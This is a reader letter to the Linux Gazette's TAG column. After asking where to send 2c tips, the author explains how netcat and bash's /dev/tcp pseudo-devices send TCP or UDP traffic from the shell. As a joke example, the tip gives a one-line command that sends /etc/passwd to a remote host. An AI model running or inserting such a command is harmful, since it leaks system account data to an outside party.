[TAG] Where to send more 2c TIPS?

[flavio@polettix.it]

[I would be grateful if you don't include my e-mail address - even in
faked mode - in any publication of any part of this e-mail. I already have
enough spam :]

Hi,

   it's quite some time that I don't read the Linux Gazette. Ok, this is
awful from my side :)

I've had some difficulties in sorting out which is the TRUE Linux Gazette,
when I finally had a flash and took the one with Jim Dennis inside :)
Jokes apart, I was very disappointed reading the whole story, but that's
the world and I'm happy that we all can have Ye Ol' Linux Gazette on the
net.

Here comes my first question:

"Where is one decent guy supposed to send its 2c tips?!?"

I looked for it in all the website, but had no clue! Then I peeked the
"More 2c tips" section and - aaaagh! But there are questions there!!! This
leads to my second question:

"Where have 2c tips gone?!?"

I remember those neat, fast 2c tips in the golden age, but now I only see
some kind of TAG satellite section!

Ok, ok, flames off now, the magazine is quite healty and I don't want to
spoil my happiness in having (re-)found it. So... I drop my 2c tip to you
TAG, hoping that I won't be censored for my - how to say it? - attitude to
write too much!

All the best to you all,

   Flavio Poletti.


---------------- CUT HERE -------------------
Sending some network traffic from the shell.

Some time ago (actually, *a long time ago*) I needed to send some TCP
traffic towards a host on a regular basis. So... the only tool I knew was
telnet, I had no clue about socket programming, and I had to study expect
in order to get the job done. No need to say, it was a real pain - what
else should I /expect/? (For those who don't know what I'm talking about,
I suggest to perform more-than-trivial interaction with some server on
ports other than the telnet one).

Some time later, I learnt socket programming, so I was able to do the job
inside C and call my program from the shell. But you can bet on it - it
was some very focused application and proved to give me no help in a
similar-but-different context.

It was then that I discovered netcat.

netcat (actually the executable should be called nc) is what I needed,
plus much more. It is capable of running in both client and server
(listening) mode, to cope with both TCP and UDP, and provides the more
straightforward concept you could ask for: it reads standard input and
sends it to the remote destination, and gives you the incoming traffic on
the standard output. Quite nice, isn't it? netcat should be already
available in your Linux box, anyway you can download it here:
http://www.atstake.com/research/tools/network_utilities/

I was very proud of my discovery (only 5-6 years of research!) when
recently I had to find somethind that - quite surprising to me - was even
simpler. I mean, to solve my ancient two-nights-without-sleep problem I
didn't even need an external program! I found that what I needed can be
done entirely inside the shell, provided that you're using bash - and all
of us are using bash, aren't we?

This is the trick: bash defines some fake devices which you can use as
files for redirection - but you actually get some IP traffic with them! So
you can send your passwd file to your worst enemy at example.com simply by
issuing this command:

cat /etc/passwd > /dev/tcp/example.com/10000

(we all know that our worst enemy accepts passwd files listening to port
10000)

That's it - and you can do that with UDP as well! If you want to find out
more, take a look at the Bash Advanced Scripting Guide, in particular
paragraph 28.1 (http://www.tldp.org/LDP/abs/html/devref1.html).

This is my 2c Tip!

---------------- CUT HERE -------------------

To the authors/proofreaders: I tried to seek inside /dev to see if there
is any tcp or udp device, but found neither - that's why I claim that
these devices are bash-interpreted. If you know more about this... correct
please!